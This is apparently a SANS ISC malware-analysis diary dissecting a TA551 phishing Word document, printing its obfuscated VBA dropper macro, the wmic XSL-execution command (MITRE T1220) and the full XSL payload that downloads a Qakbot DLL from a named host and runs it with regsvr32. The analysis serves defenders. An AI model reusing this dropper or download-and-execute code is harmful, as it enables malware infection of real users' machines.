New Example of XSL Script Processing aka "Mitre T1220"
Last week, Brad posted a diary about TA551[1]. A few days later, one of our readers submitted another sample belonging to the same campaign. Brad had a look at the traffic so I decided to have a look at the macro, not because the code is heavily obfuscated but data are spread at different locations in the Word document.
The sample was delivered through a classic phishing email with a password-protected archive. It's a file called ‘facts_01.28.2021.doc’ (SHA256:dcc5eb5dac75a421724fd8b3fa397319b21d09e22bc97cee1f851ef73c9e3354) and unknown on VT at this time.
It contains indeed a macro:
remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc A: word/vbaProject.bin A1: 539 'PROJECT' A2: 89 'PROJECTwm' A3: m 1127 'VBA/ThisDocument' A4: 3687 'VBA/_VBA_PROJECT' A5: 2146 'VBA/__SRP_0' A6: 198 'VBA/__SRP_1' A7: 348 'VBA/__SRP_2' A8: 106 'VBA/__SRP_3' A9: M 1165 'VBA/a7JUT' A10: M 10838 'VBA/aBJwC' A11: 884 'VBA/dir' A12: m 1174 'VBA/frm' A13: 97 'frm/\x01CompObj' A14: 286 'frm/\x03VBFrame' A15: 170 'frm/f' A16: 1580 'frm/o'
If looking at "M" flags in the oledump output is a key point, it's always good to have a look at all the streams. A first interesting observation is the presence of a user form in the document (see the ‘frm’ in streams 13 to 16 combined with 'm' in stream 12). 'frm' is the name that was given to the author. This can be verified by checking the document in a sandbox:
WARNING: Don't do this on a regular host!
The user form contains three elements (text boxes). Now let's have a look at the document. Macros are polluted with comments and can be cleaned by filtering them.
Stream #9 is not interesting, it just contains the AutoOpen() function which calls the real entry point:
remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc -s 9 -v | grep -v "' " Attribute VB_Name = "a7JUT" Sub AutoOpen() Call ahjAvX End Sub
The real interesting one is located in the stream 10:
remnux@remnux:/MalwareZoo/20210129$ oledump.py facts_01.28.2021.doc -s 10 -v | grep -v "' " Attribute VB_Name = "aBJwC" Function ajC1ui(auTqHQ) End Function Function atZhQ(aF1TxD) atZhQ = ActiveDocument.BuiltInDocumentProperties(aF1TxD) End Function Function ayaXI(aa5xD, aqk4PA) Dim aoTA6S As String aoTA6S = Chr(33 + 1) ayaXI = aa5xD & atZhQ("comments") & aoTA6S & aqk4PA & aoTA6S End Function Function acf8Y() acf8Y = "L" End Function Sub ahjAvX() axfO6 = Trim(frm.textbox1.text) aa6tSY = Trim(frm.textbox2.text) aqk4PA = aa6tSY & "xs" & acf8Y aa5xD = aa6tSY & "com" a6AyZu = Trim(frm.textbox3.text) aYlC14 aqk4PA, axfO6 FileCopy a6AyZu, aa5xD CreateObject("wscript.shell").exec ayaXI(aa5xD, aqk4PA) End Sub Sub aYlC14(aFp297, axfO6) Open aFp297 For Output As #1 Print #1, axfO6 Close #1 End Sub
ahjAvX() is called from AutoOpen() and starts by extracting values of the user form elements: form.textbox[1-3].text
The element #3 contains “c:\windows\system32\wbem\wmic.exe”
Element #2 contains "c:\programdata\hello." (note the dot at the end)
And element #1 contains what looks to be some XML code.
Before check the XML code, let's deobfuscate the macro:
ahjAvX() reconstructs some strings and dump the XML payload into a XSL file by calling aYlC14(). Then, a copy of wmic.exe (the WMI client) is copied in "c:\programdata\hello.com". Before spawning a shell, more data is extracted from the document via atZhQ():
Function atZhQ(aF1TxD) atZhQ = ActiveDocument.BuiltInDocumentProperties(aF1TxD) End Function
The document comments field contains the string "pagefile get /format:"
By the way, did you see the author's name?
With the extracted comments field, here is the function that executes the XSL file:
Function ayaXI(aa5xD, aqk4PA) Dim aoTA6S As String aoTA6S = Chr(33 + 1) ayaXI = aa5xD & atZhQ("comments") & aoTA6S & aqk4PA & aoTA6S End Function
The reconstructed command line is:
c:\programdata\hello.com pagefile get /format: "c:\programdata\hello.xsl"
We have here a perfect example of a dropper that dumps an XSL file on the disk and executes it. This technique is referred as T1220 by Mitre[2]. Let's now have a look at the XSL file:
<?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="https://microsoft.com/xxx"> <msxsl:script language="VBScript" implements-prefix="user"> <![CDATA[ Function aOLsw() Set xmlhttp = CreateObject("msxml2.xmlhttp") xmlhttp.open "GET", "http://fbfurnace6.com/assets/4621f42aad9738c0992/e93f49079ac08560/67311dcc4b7a6/shaz10?pr=5dc7155&rccks=4cc00761&kp=d909e4b6e097ed", false. xmlhttp.send If xmlhttp.Status = 200 Then Set stream = CreateObject("adodb.stream") stream.Open stream.Type = 1 stream.Write xmlhttp.ResponseBody stream.Position = 0 stream.SaveToFile "c:\programdata\41401.jpg", 2 stream.Close End if End Function ]]> </msxsl:script> <msxsl:script language="VBScript" implements-prefix="user"> <![CDATA[ ]]> </msxsl:script> <msxsl:script language="VBScript" implements-prefix="user"> <![CDATA[ Function awyXdU(aLYgv, aCdvO, atYdl) Call aOLsw Set aKLoby = CreateObject("wscript.shell") With aKLoby .exec "regsvr32 c:\programdata\41401.jpg" End With awyXdU = 1 End Function ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:awyXdU('', '', '')"/> </xsl:template> </xsl:stylesheet>
The function awyXdU() is the entry point of this XSL file. It calls aOLsw() to download the malicious Qakbot DLL, dumps it on the disk, and executes it with regsvr32. XSL files are not new but it has been a while since I did not spot one. Didier already mentioned them in a previous diary around 2019[3].
[1] https://isc.sans.edu/forums/diary/TA551+Shathak+Word+docs+push+Qakbot+Qbot/27030/
[2] https://attack.mitre.org/techniques/T1220/
[3] https://isc.sans.edu/forums/diary/Malicious+XSL+Files/25098
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 28th - Nov 1st 2024 |
Comments